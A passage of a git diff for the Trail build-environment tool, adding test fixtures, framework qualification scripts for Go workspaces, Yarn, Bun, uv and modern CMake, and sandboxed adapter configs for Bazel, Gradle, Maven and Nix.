"go" else 0, + "bytes_avoided": 100 if framework in {"go", "go-workspace"} else 0, } self.write_report(raw, f"sync-{lane}", {"decisions": [decision]}) self.write_report( @@ -135,7 +158,14 @@ def fixture(self, root, framework): ) inheritance = None if index: - if framework in {"go", "pnpm", "npm"}: + if framework in { + "go", + "go-workspace", + "yarn", + "bun", + "pnpm", + "npm", + }: inheritance = { "status": "inherited", "reason": None, @@ -165,10 +195,88 @@ def fixture(self, root, framework): }, ) self.write_report(raw, "init", {"initialized": True}) + if framework in CHECKER.INVALIDATION_PATHS: + final_generation = json.loads( + (raw / "generation-agent-c.json").read_text(encoding="utf-8") + ) + self.write_report(raw, "generation-before-invalidation", final_generation) + invalidated = json.loads(json.dumps(final_generation)) + invalidated["source_root"] = "root-invalidation" + invalidated["components"][0]["component_key"] = "key-invalidation" + invalidated["components"][0]["layer_id"] = "layer-invalidation" + invalidated["components"][0]["outputs"][0]["storage_identity"] = ( + "layer-invalidation" + ) + self.write_report(raw, "generation-invalidation", invalidated) + self.write_report( + raw, + "spawn-invalidation", + { + "lane": "invalidation", + "workdir": "/workspace/invalidation", + "workdir_mode": "nfs-cow", + "base_change": "change-2", + "environment_inheritance": { + "status": "inherited", + "reason": None, + "outputs": [], + }, + }, + ) + self.write_report( + raw, + "invalidation-edit", + { + "lifecycle": { + "checkpoint": { + "operation": "change-invalidation", + "root_id": "root-invalidation", + "source_paths": CHECKER.INVALIDATION_PATHS[framework], + "generated_dirty_paths": 0, + } + } + }, + ) + self.write_report( + raw, + "sync-invalidation", + { + "decisions": [ + { + "component_id": component_id, + "decision_source": "constructed", + "bytes_avoided": 0, + } + ] + }, + ) + self.write_report( + raw, + "check-invalidation", + { + "exit_code": 0, + "lifecycle": { + "checkpoint": { + "source_paths": [], + "generated_dirty_paths": 0, + } + }, + }, + ) return component_id def test_accepts_each_framework_contract(self): - for framework in ("go", "pnpm", "npm", "python", "cmake"): + for framework in ( + "go", + "go-workspace", + "yarn", + "bun", + "uv", + "pnpm", + "npm", + "python", + "cmake", + ): with self.subTest(framework=framework), tempfile.TemporaryDirectory() as temp: root = pathlib.Path(temp) component_id = self.fixture(root, framework) @@ -180,9 +288,45 @@ def test_accepts_each_framework_contract(self): component_id, ) self.assertEqual(evidence["framework"], framework) + self.assertEqual(evidence["schema"], "trail.ecosystem-certification/v1") + self.assertEqual(evidence["distribution"]["kind"], "built-in") + self.assertEqual(len(evidence["lane_ancestry"]), 3) + self.assertEqual(len(evidence["validations"]), 3) self.assertTrue(evidence["assertions"]["framework_reuse_contract_passed"]) self.assertEqual(evidence["generated_dirty_paths"], [1, 2, 3]) - self.assertEqual(len(evidence["raw_sha256"]), 22) + self.assertEqual( + len(evidence["raw_sha256"]), + 31 if framework in CHECKER.INVALIDATION_PATHS else 25, + ) + + def test_rejects_missing_or_changed_tool_identity(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "pnpm") + plan = json.loads((root / "raw/plan-agent-b.json").read_text(encoding="utf-8")) + plan["tools"] = {} + self.write_report(root / "raw", "plan-agent-b", plan) + with self.assertRaisesRegex(AssertionError, "executable identity"): + CHECKER.check_evidence(root, "pnpm", "repo", "rev", component_id) + + def test_rejects_node_policy_invalidation_that_reuses_stale_layer(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "yarn") + before = json.loads( + (root / "raw/generation-before-invalidation.json").read_text( + encoding="utf-8" + ) + ) + after = json.loads( + (root / "raw/generation-invalidation.json").read_text(encoding="utf-8") + ) + after["components"][0]["component_key"] = before["components"][0][ + "component_key" + ] + self.write_report(root / "raw", "generation-invalidation", after) + with self.assertRaisesRegex(AssertionError, "reused a stale component key"): + CHECKER.check_evidence(root, "yarn", "repo", "rev", component_id) def test_rejects_an_edit_that_captures_an_unexpected_path(self): with tempfile.TemporaryDirectory() as temp: @@ -220,6 +364,59 @@ def test_rejects_private_output_inheritance(self): with self.assertRaisesRegex(AssertionError, "unexpectedly inherited"): CHECKER.check_evidence(root, "python", "repo", "rev", component_id) + def test_rejects_changed_cache_namespace(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "cmake") + generation = json.loads( + (root / "raw/generation-agent-b.json").read_text(encoding="utf-8") + ) + generation["components"][0]["caches"][0]["namespace_id"] = "cache-stale" + self.write_report(root / "raw", "generation-agent-b", generation) + with self.assertRaisesRegex(AssertionError, "cache namespace"): + CHECKER.check_evidence(root, "cmake", "repo", "rev", component_id) + + def test_rejects_wrong_child_ancestry(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "npm") + spawn = json.loads( + (root / "raw/spawn-agent-c.json").read_text(encoding="utf-8") + ) + spawn["base_change"] = "change-unrelated" + self.write_report(root / "raw", "spawn-agent-c", spawn) + with self.assertRaisesRegex(AssertionError, "did not start from its parent"): + CHECKER.check_evidence(root, "npm", "repo", "rev", component_id) + + def test_rejects_sealed_evidence_after_raw_report_tampering(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "go-workspace") + evidence = CHECKER.check_evidence(root, "go-workspace", "repo", "rev", component_id) + (root / "evidence.json").write_text( + json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + CHECKER.verify_sealed_evidence(root) + check = json.loads( + (root / "raw/check-agent-c.json").read_text(encoding="utf-8") + ) + check["diagnostic"] = "tampered after sealing" + self.write_report(root / "raw", "check-agent-c", check) + with self.assertRaisesRegex(AssertionError, "authoritative raw reports"): + CHECKER.verify_sealed_evidence(root) + + def test_rejects_tampered_canonical_identity_field(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "bun") + evidence = CHECKER.check_evidence(root, "bun", "repo", "rev", component_id) + evidence["component_keys"][1] = "forged-key" + (root / "evidence.json").write_text( + json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + with self.assertRaisesRegex(AssertionError, "authoritative raw reports"): + CHECKER.verify_sealed_evidence(root) + if __name__ == "__main__": unittest.main() diff --git a/scripts/test_edit_real_framework_semantic.py b/scripts/test_edit_real_framework_semantic.py index fdd73a2a..2df54f3f 100644 --- a/scripts/test_edit_real_framework_semantic.py +++ b/scripts/test_edit_real_framework_semantic.py @@ -17,6 +17,26 @@ "version/version.go": "package version\n", "version/version_test.go": "", }, + "go-workspace": { + "common/must.go": "package common\n", + "common/must_test.go": ( + "package common_test\n\n" + 'import (\n\t"testing"\n\t"github.com/stretchr/testify/assert"\n' + '\t"github.com/oxia-db/oxia/common"\n)\n' + ), + }, + "yarn": { + "index.js": "module.exports = function isOdd() {}\n", + "test.js": 'var assert = require("assert");\n', + }, + "bun": { + "src/app.ts": "export const app = {}\n", + "tests/app.test.ts": 'import { test } from "bun:test";\n', + }, + "uv": { + "src/pyprojectx/__init__.py": "", + "tests/unit/test_trail_qualification.py": "", + }, "pnpm": { "src/constants.ts": "export const value = 1;\n", "tests/http-helpers/index.test.ts": "import { describe, expect, it } from 'vitest';\n", @@ -33,6 +53,9 @@ "util/hash.cc": "namespace leveldb {}\n", "util/hash.h": "#pragma once\n", }, + "cmake-modern": { + "examples/minimal.cpp": "#include \nint main() { return 0; }\n", + }, } @@ -93,6 +116,24 @@ def test_rejects_duplicate_or_out_of_block_markers(self): with self.assertRaisesRegex(AssertionError, "exactly one"): EDITOR.verify_block(path, "agent-a") + def test_yarn_and_bun_policy_invalidation_is_exact_and_nonreentrant(self): + for framework, policy_path in (("yarn", ".yarnrc"), ("bun", "bunfig.toml")): + with self.subTest(framework=framework), tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + self.fixture(root, framework) + if framework == "bun": + (root / policy_path).write_text( + '[test]\npreload = ["./tests/setup.ts"]\n', encoding="utf-8" + ) + with self.in_root(root): + path, replacement = EDITOR.invalidation_contract(framework) + EDITOR.replace_block(path, None, replacement) + self.assertEqual(path.read_text(encoding="utf-8").count(EDITOR.START), 1) + with self.assertRaisesRegex( + AssertionError, "already contains a qualification block" + ): + EDITOR.replace_block(path, None, replacement) + if __name__ == "__main__": unittest.main() diff --git a/scripts/verify-artifact-real-tool-gates.sh b/scripts/verify-artifact-real-tool-gates.sh index 676a4695..1b6662ad 100755 --- a/scripts/verify-artifact-real-tool-gates.sh +++ b/scripts/verify-artifact-real-tool-gates.sh @@ -46,19 +46,39 @@ tests=( db::lane::workspace_environment::tests::host_resolver_executes_cargo_in_isolated_staging_and_reuses_snapshot db::lane::workspace_node::tests::manifest_only_npm_uses_managed_lock_and_preserves_seed_cache_isolation db::lane::workspace_cargo::tests::cargo_adapter_builds_once_and_reuses_one_immutable_target_seed - db::lane::workspace_python::tests::real_python_venvs_embed_lane_paths_and_remain_isolated + db::lane::workspace_python::tests::real_python_venvs_use_direct_private_bindings_and_remain_isolated db::lane::workspace_cmake::tests::real_cmake_configure_build_and_clean_stay_lane_private db::lane::workspace_plugin::tests::protocol_v2_bazel_nix_like_stores_remain_metadata_only_after_host_normalization db::lane::workspace_recipe::tests::maven_gradle_like_and_unknown_custom_shapes_use_repository_v2_components db::lane::source_export::tests::source_export_execution_checkpoints_normal_source_and_reports_git_handoff ) +run_exact_test() { + local target_kind="$1" + local target_name="$2" + local test_name="$3" + local -a target_args + if [[ "${target_kind}" == "lib" ]]; then + target_args=(--lib) + else + target_args=(--test "${target_name}") + fi + local listed matches + listed="$(cargo test -p trail "${target_args[@]}" "${test_name}" --locked -- --list --format terse)" + matches="$(printf '%s\n' "${listed}" | awk -v expected="${test_name}: test" '$0 == expected { count += 1 } END { print count + 0 }')" + if [[ "${matches}" != "1" ]]; then + printf 'real-tool gate must select exactly one test, found %s for %s\n' \ + "${matches}" "${test_name}" >&2 + exit 2 + fi + cargo test -p trail "${target_args[@]}" "${test_name}" --locked -- --exact --nocapture +} + for test_name in "${tests[@]}"; do - cargo test -p trail --lib "${test_name}" --locked -- --exact --nocapture + run_exact_test lib "" "${test_name}" done -cargo test -p trail --test e2e \ - next_and_vite_v2_components_compose_through_native_cli_sandbox \ - --locked -- --exact --nocapture +run_exact_test test e2e \ + next_and_vite_v2_components_compose_through_native_cli_sandbox printf '%s\n' 'artifact real-tool gates: passed' diff --git a/scripts/verify-real-framework-handoff.sh b/scripts/verify-real-framework-handoff.sh index e7cb4e15..1792faf3 100755 --- a/scripts/verify-real-framework-handoff.sh +++ b/scripts/verify-real-framework-handoff.sh @@ -10,7 +10,7 @@ die() { exit 64 } -[[ $# == 1 ]] || die "usage: $0 " +[[ $# == 1 ]] || die "usage: $0 " framework=$1 : "${TRAIL_BIN:?set TRAIL_BIN to the candidate Trail executable}" : "${TRAIL_FRAMEWORK_EVIDENCE_DIR:?set TRAIL_FRAMEWORK_EVIDENCE_DIR to a new output directory}" @@ -38,6 +38,24 @@ case "$framework" in component_selector=go-vendor component_id=go-vendor ;; + go-workspace) + repository=https://github.com/oxia-db/oxia.git + revision=8494f2a8bc4a36d5a93cd1c4101639be7a040163 + component_selector=go-vendor-workspace + component_id=go-vendor + ;; + yarn) + repository=https://github.com/jonschlinkert/is-odd.git + revision=b8fc75839e341f23e2d7cb2d4b6a173ccbc1e364 + component_selector=node + component_id=node + ;; + bun) + repository=https://github.com/nozomio-labs/nia-cli.git + revision=3ebf0b0bb62ff6a73d630232b2b03c8bde30fe86 + component_selector=node + component_id=node + ;; pnpm) repository=https://github.com/Polymarket/clob-client-v2.git revision=f3e1a05f868a1fd0c34ef85dfc45c6ce78f5bb69 @@ -56,12 +74,28 @@ case "$framework" in component_selector=python component_id=python-venv ;; + uv) + repository=https://github.com/pyprojectx/pyprojectx.git + revision=e615df93474fdd7b1c5d798c8d521499b3f87c42 + component_selector=python + component_id=python-venv + ;; cmake) repository=https://github.com/google/leveldb.git revision=7ee830d02b623e8ffe0b95d59a74db1e58da04c5 component_selector=cmake-build component_id=cmake-build ;; + cmake-modern) + repository=https://github.com/CLIUtils/CLI11.git + revision=60492bddb50422f32cfa33c1365b96ebee4205ca + component_selector=cmake-build + component_id=cmake-build + : "${TRAIL_CMAKE_CONFIGURE_PRESET:=dev}" + export TRAIL_CMAKE_CONFIGURE_PRESET + command -v ninja >/dev/null || die "cmake-modern qualification requires Ninja" + command -v ccache >/dev/null || die "cmake-modern qualification requires ccache" + ;; *) die "unsupported framework: $framework" ;; esac @@ -96,12 +130,39 @@ run_edit() { run_framework_precheck() { local lane=$1 local expected=$2 + local go_package case "$framework" in - go) + go|go-workspace) + if [[ $framework == go ]]; then + go_package=./version + else + go_package=./common + fi run_json "precheck-$lane" lane exec "$lane" -- /bin/sh -c \ 'set -eu - "$1" "$2" verify go "$3" - exec "$TRAIL_GO" test ./version 1>&2' \ + "$1" "$2" verify "$3" "$4" + exec "$TRAIL_GO" test "$5" 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$framework" "$expected" \ + "$go_package" + ;; + yarn) + run_json "precheck-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify yarn "$3" + if test "$3" = baseline; then + exec "$TRAIL_YARN" mocha test.js --grep "should return true if the number is odd" 1>&2 + fi + exec "$TRAIL_YARN" mocha test.js --grep "Trail qualification marker" 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" + ;; + bun) + run_json "precheck-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify bun "$3" + if test "$3" = baseline; then + exec "$TRAIL_BUN" test tests/setup.test.ts 1>&2 + fi + exec "$TRAIL_BUN" test tests/app.test.ts -t "Trail qualification marker" 1>&2' \ trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; pnpm) @@ -134,6 +195,17 @@ run_framework_precheck() { exec "$TRAIL_VENV_PYTHON" -m pytest -q tests/test_line.py -k trail_qualification_marker 1>&2' \ trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; + uv) + run_json "precheck-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify uv "$3" + "$TRAIL_VENV_PYTHON" -c '\''import importlib.metadata; importlib.metadata.distribution("pyprojectx")'\'' + if test "$3" = baseline; then + exec "$TRAIL_VENV_PYTHON" -m pytest -q tests/unit/test_cli.py -k test_parse_args 1>&2 + fi + exec "$TRAIL_VENV_PYTHON" -m pytest -q tests/unit/test_trail_qualification.py 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" + ;; cmake) run_json "precheck-$lane" lane exec "$lane" -- /bin/sh -c \ 'set -eu @@ -147,18 +219,57 @@ run_framework_precheck() { shasum -a 256 "$status_object" | awk "{print \$1}" > "$TRAIL_CMAKE_BUILD_DIR/trail-status-before.sha256"' \ trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; + cmake-modern) + run_json "precheck-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify cmake-modern "$3" + "$TRAIL_CMAKE" --preset "$TRAIL_CMAKE_CONFIGURE_PRESET" -B "$TRAIL_CMAKE_MOUNTED_BUILD_DIR" -DCLI11_BUILD_TESTS=OFF -DCLI11_BUILD_EXAMPLES=ON 1>&2 + "$TRAIL_CMAKE" --build "$TRAIL_CMAKE_MOUNTED_BUILD_DIR" --target minimal --parallel 2 1>&2 + minimal_object=$(find "$TRAIL_CMAKE_BUILD_DIR" -path "*CMakeFiles/minimal.dir/minimal.cpp.o" -print -quit) + precompile_object=$(find "$TRAIL_CMAKE_BUILD_DIR" -path "*CMakeFiles/CLI11.dir/Precompile.cpp.o" -print -quit) + test -n "$minimal_object" && test -n "$precompile_object" + shasum -a 256 "$minimal_object" | awk "{print \$1}" > "$TRAIL_CMAKE_BUILD_DIR/trail-minimal-before.sha256" + shasum -a 256 "$precompile_object" | awk "{print \$1}" > "$TRAIL_CMAKE_BUILD_DIR/trail-precompile-before.sha256" + if test "$3" != baseline; then + strings "$TRAIL_CMAKE_BUILD_DIR/examples/minimal" | grep -F "$3" >/dev/null + test "$("$TRAIL_CCACHE" --print-stats | awk "\$1 == \"direct_cache_hit\" {print \$2}")" -gt 0 + fi' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" + ;; esac } run_framework_check() { local lane=$1 + local expected=${2:-$lane} + local go_package case "$framework" in - go) + go|go-workspace) + if [[ $framework == go ]]; then + go_package=./version + else + go_package=./common + fi + run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify "$3" "$4" + exec "$TRAIL_GO" test "$5" -run "^TestTrailQualificationMarker$" -count=1 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$framework" "$expected" \ + "$go_package" + ;; + yarn) + run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify yarn "$3" + exec "$TRAIL_YARN" mocha test.js --grep "Trail qualification marker" 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" + ;; + bun) run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ 'set -eu - "$1" "$2" verify go "$3" - exec "$TRAIL_GO" test ./version -run "^TestTrailQualificationMarker$" -count=1 1>&2' \ - trail "$python3_bin" "$SEMANTIC_EDITOR" "$lane" + "$1" "$2" verify bun "$3" + exec "$TRAIL_BUN" test tests/app.test.ts -t "Trail qualification marker" 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; pnpm) run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ @@ -167,7 +278,7 @@ run_framework_check() { "$TRAIL_PNPM" exec tsc --noEmit 1>&2 "$TRAIL_PNPM" run build 1>&2 exec "$TRAIL_PNPM" exec vitest run tests/http-helpers/index.test.ts -t "Trail qualification marker" 1>&2' \ - trail "$python3_bin" "$SEMANTIC_EDITOR" "$lane" + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; npm) run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ @@ -175,7 +286,7 @@ run_framework_check() { "$1" "$2" verify npm "$3" "$TRAIL_NPM" run build -- --no-pack 1>&2 exec "$TRAIL_NODE" --test --enable-source-maps dist-node/test/version.test.js 1>&2' \ - trail "$python3_bin" "$SEMANTIC_EDITOR" "$lane" + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; python) run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ @@ -183,7 +294,15 @@ run_framework_check() { "$1" "$2" verify python "$3" "$TRAIL_VENV_PYTHON" -m compileall -q src/tap exec "$TRAIL_VENV_PYTHON" -m pytest -q tests/test_line.py -k trail_qualification_marker 1>&2' \ - trail "$python3_bin" "$SEMANTIC_EDITOR" "$lane" + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" + ;; + uv) + run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify uv "$3" + "$TRAIL_VENV_PYTHON" -c '\''import importlib.metadata; importlib.metadata.distribution("pyprojectx")'\'' + exec "$TRAIL_VENV_PYTHON" -m pytest -q tests/unit/test_trail_qualification.py 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; cmake) run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ @@ -210,7 +329,27 @@ int main() { return std::string(leveldb::TrailQualificationMarker()) == "$3" ? 0 EOF c++ -std=c++11 -I. "$TRAIL_CMAKE_BUILD_DIR/trail-check.cc" "$TRAIL_CMAKE_BUILD_DIR/libleveldb.a" -pthread -o "$TRAIL_CMAKE_BUILD_DIR/trail-check" exec "$TRAIL_CMAKE_BUILD_DIR/trail-check"' \ - trail "$python3_bin" "$SEMANTIC_EDITOR" "$lane" + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" + ;; + cmake-modern) + run_json "check-$lane" lane exec "$lane" -- /bin/sh -c \ + 'set -eu + "$1" "$2" verify cmake-modern "$3" + rebuild_log="$TRAIL_CMAKE_BUILD_DIR/trail-rebuild.log" + "$TRAIL_CMAKE" --build "$TRAIL_CMAKE_MOUNTED_BUILD_DIR" --target minimal --parallel 2 >"$rebuild_log" 2>&1 + cat "$rebuild_log" >&2 + grep "minimal.cpp.o" "$rebuild_log" >/dev/null + if grep "Precompile.cpp.o" "$rebuild_log" >/dev/null; then + echo "unaffected Precompile.cpp was recompiled" >&2 + exit 1 + fi + minimal_object=$(find "$TRAIL_CMAKE_BUILD_DIR" -path "*CMakeFiles/minimal.dir/minimal.cpp.o" -print -quit) + precompile_object=$(find "$TRAIL_CMAKE_BUILD_DIR" -path "*CMakeFiles/CLI11.dir/Precompile.cpp.o" -print -quit) + test "$(shasum -a 256 "$minimal_object" | awk "{print \$1}")" != "$(cat "$TRAIL_CMAKE_BUILD_DIR/trail-minimal-before.sha256")" + test "$(shasum -a 256 "$precompile_object" | awk "{print \$1}")" = "$(cat "$TRAIL_CMAKE_BUILD_DIR/trail-precompile-before.sha256")" + strings "$TRAIL_CMAKE_BUILD_DIR/examples/minimal" | grep -F "$3" >/dev/null + exec "$TRAIL_CMAKE_BUILD_DIR/examples/minimal" --help 1>&2' \ + trail "$python3_bin" "$SEMANTIC_EDITOR" "$expected" ;; esac } @@ -234,6 +373,18 @@ for lane in agent-a agent-b agent-c; do agent-b) expected=agent-a ;; agent-c) expected=agent-b ;; esac + if [[ $framework == uv && $lane == agent-a ]]; then + uv_plan=$qualification_root/uv-prewarm-plan.json + "$TRAIL_BIN" --format json env plan "$lane" --adapter python > "$uv_plan" + uv_namespace=$(jq -er '.caches[] | select(.name == "python-downloads") | .namespace_id' "$uv_plan") + uv_cache=$repository_root/.trail/cache/namespaces/$uv_namespace/uv + mkdir -p "$uv_cache" + UV_CACHE_DIR=$uv_cache \ + UV_PROJECT_ENVIRONMENT=$qualification_root/uv-prewarm-venv \ + UV_NO_PROGRESS=1 \ + uv sync --frozen --no-progress + fi + run_json "plan-$lane" env plan "$lane" --adapter "$component_selector" run_framework_precheck "$lane" "$expected" run_json "generation-before-edit-$lane" env generation "$lane" run_edit "$lane" @@ -244,6 +395,17 @@ for lane in agent-a agent-b agent-c; do previous=$lane done +if [[ $framework == yarn || $framework == bun ]]; then + run_json spawn-invalidation lane spawn invalidation --from agent-c --workdir-mode "$workdir_mode" + run_json generation-before-invalidation env generation invalidation + run_json invalidation-edit lane exec invalidation -- \ + "$python3_bin" "$SEMANTIC_EDITOR" invalidate "$framework" agent-c + run_json sync-invalidation env sync component "$component_id" \ + --adapter "$component_selector" --lane invalidation + run_framework_check invalidation agent-c + run_json generation-invalidation env generation invalidation +fi + python3 "$SCRIPT_DIR/check-real-framework-handoff.py" \ "$TRAIL_FRAMEWORK_EVIDENCE_DIR" "$framework" "$repository" "$revision" "$component_id" diff --git a/tools/environment-adapters/bazel/conformance.toml b/tools/environment-adapters/bazel/conformance.toml new file mode 100644 index 00000000..1debae58 --- /dev/null +++ b/tools/environment-adapters/bazel/conformance.toml @@ -0,0 +1,8 @@ +schema = "trail.environment-adapter-conformance/v1" +adapter = "trail-examples/bazel@1" +identity_authorities = ["MODULE.bazel", "MODULE.bazel.lock", "WORKSPACE", "WORKSPACE.bazel", ".bazelrc", "trail.bazel.toml"] +cache_only = ["repository", "disk"] +private_outputs = [".bazel-trail-output"] +network = "deny" +process = "native-sandboxed-tree" +validation = "bazel test //..." diff --git a/tools/environment-adapters/bazel/trail-adapter.toml.in b/tools/environment-adapters/bazel/trail-adapter.toml.in new file mode 100644 index 00000000..f31170fe --- /dev/null +++ b/tools/environment-adapters/bazel/trail-adapter.toml.in @@ -0,0 +1,25 @@ +schema = "trail.environment-adapter-package/v1" + +[adapter] +canonical_identity = "trail-examples/bazel@1" +implementation_version = "1.0.0" +selectors = ["bazel", "trail-examples/bazel@1"] +kind = "compiler-results" +layer_adapter_name = "bazel" +discovery_markers = ["trail.bazel.toml"] +protocols = ["trail.environment-adapter/v2"] +supported_operating_systems = ["linux", "macos"] +supported_architectures = ["aarch64", "x86_64"] +stability = "experimental" +description = "Offline Bazel test plan with private output root and host-owned caches" + +[executable] +path = "ecosystem-build-adapter" +sha256 = "sha256:@EXECUTABLE_SHA256@" + +[permissions] +read_patterns = ["*", "**/*"] +max_input_files = 100000 +max_input_bytes = 8388608 +timeout_ms = 30000 +max_response_bytes = 4194304 diff --git a/tools/environment-adapters/gradle/conformance.toml b/tools/environment-adapters/gradle/conformance.toml new file mode 100644 index 00000000..4e1edff9 --- /dev/null +++ b/tools/environment-adapters/gradle/conformance.toml @@ -0,0 +1,9 @@ +schema = "trail.environment-adapter-conformance/v1" +adapter = "trail-examples/gradle@1" +identity_authorities = ["gradle/wrapper/gradle-wrapper.properties", "gradle.lockfile", "libs.versions.toml", "settings.gradle", "settings.gradle.kts", "trail.gradle.toml"] +cache_only = ["user-home"] +private_outputs = ["build", ".gradle"] +daemon = "deny" +network = "deny" +process = "native-sandboxed-tree" +validation = "gradle --offline --no-daemon build trailTest" diff --git a/tools/environment-adapters/gradle/trail-adapter.toml.in b/tools/environment-adapters/gradle/trail-adapter.toml.in new file mode 100644 index 00000000..8ecfb6b1 --- /dev/null +++ b/tools/environment-adapters/gradle/trail-adapter.toml.in @@ -0,0 +1,25 @@ +schema = "trail.environment-adapter-package/v1" + +[adapter] +canonical_identity = "trail-examples/gradle@1" +implementation_version = "1.2.0" +selectors = ["gradle", "trail-examples/gradle@1"] +kind = "compiler-results" +layer_adapter_name = "gradle" +discovery_markers = ["trail.gradle.toml"] +protocols = ["trail.environment-adapter/v2"] +supported_operating_systems = ["linux", "macos"] +supported_architectures = ["aarch64", "x86_64"] +stability = "experimental" +description = "Offline Gradle build plan with verified tool identity, committed trailTest task, private project state, and host cache" + +[executable] +path = "ecosystem-build-adapter" +sha256 = "sha256:@EXECUTABLE_SHA256@" + +[permissions] +read_patterns = ["*", "**/*"] +max_input_files = 100000 +max_input_bytes = 8388608 +timeout_ms = 30000 +max_response_bytes = 4194304 diff --git a/tools/environment-adapters/maven/conformance.toml b/tools/environment-adapters/maven/conformance.toml new file mode 100644 index 00000000..1feb7813 --- /dev/null +++ b/tools/environment-adapters/maven/conformance.toml @@ -0,0 +1,8 @@ +schema = "trail.environment-adapter-conformance/v1" +adapter = "trail-examples/maven@1" +identity_authorities = ["pom.xml", ".mvn/wrapper/maven-wrapper.properties", "settings.xml", "trail.maven.toml"] +cache_only = ["repository"] +private_outputs = ["target", "logs"] +network = "deny" +process = "native-sandboxed-tree" +validation = "mvn --offline clean test with a separate durable log and the conventional target directory declared as the private output" diff --git a/tools/environment-adapters/maven/trail-adapter.toml.in b/tools/environment-adapters/maven/trail-adapter.toml.in new file mode 100644 index 00000000..66118af1 --- /dev/null +++ b/tools/environment-adapters/maven/trail-adapter.toml.in @@ -0,0 +1,25 @@ +schema = "trail.environment-adapter-package/v1" + +[adapter] +canonical_identity = "trail-examples/maven@1" +implementation_version = "1.8.0" +selectors = ["maven", "trail-examples/maven@1"] +kind = "compiler-results" +layer_adapter_name = "maven" +discovery_markers = ["trail.maven.toml"] +protocols = ["trail.environment-adapter/v2"] +supported_operating_systems = ["linux", "macos"] +supported_architectures = ["aarch64", "x86_64"] +stability = "experimental" +description = "Offline Maven test plan with exact tool identity, private target, and host-owned repository cache" + +[executable] +path = "ecosystem-build-adapter" +sha256 = "sha256:@EXECUTABLE_SHA256@" + +[permissions] +read_patterns = ["*", "**/*"] +max_input_files = 100000 +max_input_bytes = 8388608 +timeout_ms = 30000 +max_response_bytes = 4194304 diff --git a/tools/environment-adapters/nix/conformance.toml b/tools/environment-adapters/nix/conformance.toml new file mode 100644 index 00000000..30e152ce --- /dev/null +++ b/tools/environment-adapters/nix/conformance.toml @@ -0,0 +1,8 @@ +schema = "trail.environment-adapter-conformance/v1" +adapter = "trail-examples/nix@1" +identity_authorities = ["flake.nix", "flake.lock", "trail.nix.toml"] +external_artifacts = ["nix-builder", "package", "check"] +private_outputs = [".trail-nix-profile", ".trail-nix-state"] +network = "deny" +process = "metadata-only" +validation = "nix build/check --offline --no-write-lock-file against a pure locked flake in the pinned OCI builder" diff --git a/tools/environment-adapters/nix/trail-adapter.toml.in b/tools/environment-adapters/nix/trail-adapter.toml.in new file mode 100644 index 00000000..6a5d7565 --- /dev/null +++ b/tools/environment-adapters/nix/trail-adapter.toml.in @@ -0,0 +1,25 @@ +schema = "trail.environment-adapter-package/v1" + +[adapter] +canonical_identity = "trail-examples/nix@1" +implementation_version = "1.0.0" +selectors = ["nix", "trail-examples/nix@1"] +kind = "external" +layer_adapter_name = "nix" +discovery_markers = ["trail.nix.toml"] +protocols = ["trail.environment-adapter/v2"] +supported_operating_systems = ["linux", "macos"] +supported_architectures = ["aarch64", "x86_64"] +stability = "experimental" +description = "Pure locked Nix plan with pinned OCI builder and verified immutable store identities" + +[executable] +path = "ecosystem-build-adapter" +sha256 = "sha256:@EXECUTABLE_SHA256@" + +[permissions] +read_patterns = ["*", "**/*"] +max_input_files = 100000 +max_input_bytes = 8388608 +timeout_ms = 30000 +max_response_bytes = 4194304 diff --git a/trail-environment-adapter-sdk/README.md b/trail-environment-adapter-sdk/README.md index 9e9b7033..ccb8e0ac 100644 --- a/trail-environment-adapter-sdk/README.md +++ b/trail-environment-adapter-sdk/README.md @@ -272,11 +272,14 @@ let plan = AdapterPlanV2::builder("images", "external") # Ok::<(), trail_environment_adapter_sdk::AdapterPlanBuildError>(()) ``` -External-artifact plans must use kind `external` and cannot mix actions, caches, or -outputs. Trail validates the digest/reference/platform tuple, includes the sorted -contract in the component key, persists it with each generation, and treats cleanup as -provider-owned. Registry access, tag resolution, credentials, and runtime allocation -are deliberately outside the planner. +External-artifact plans must use kind `external` and cannot mix actions 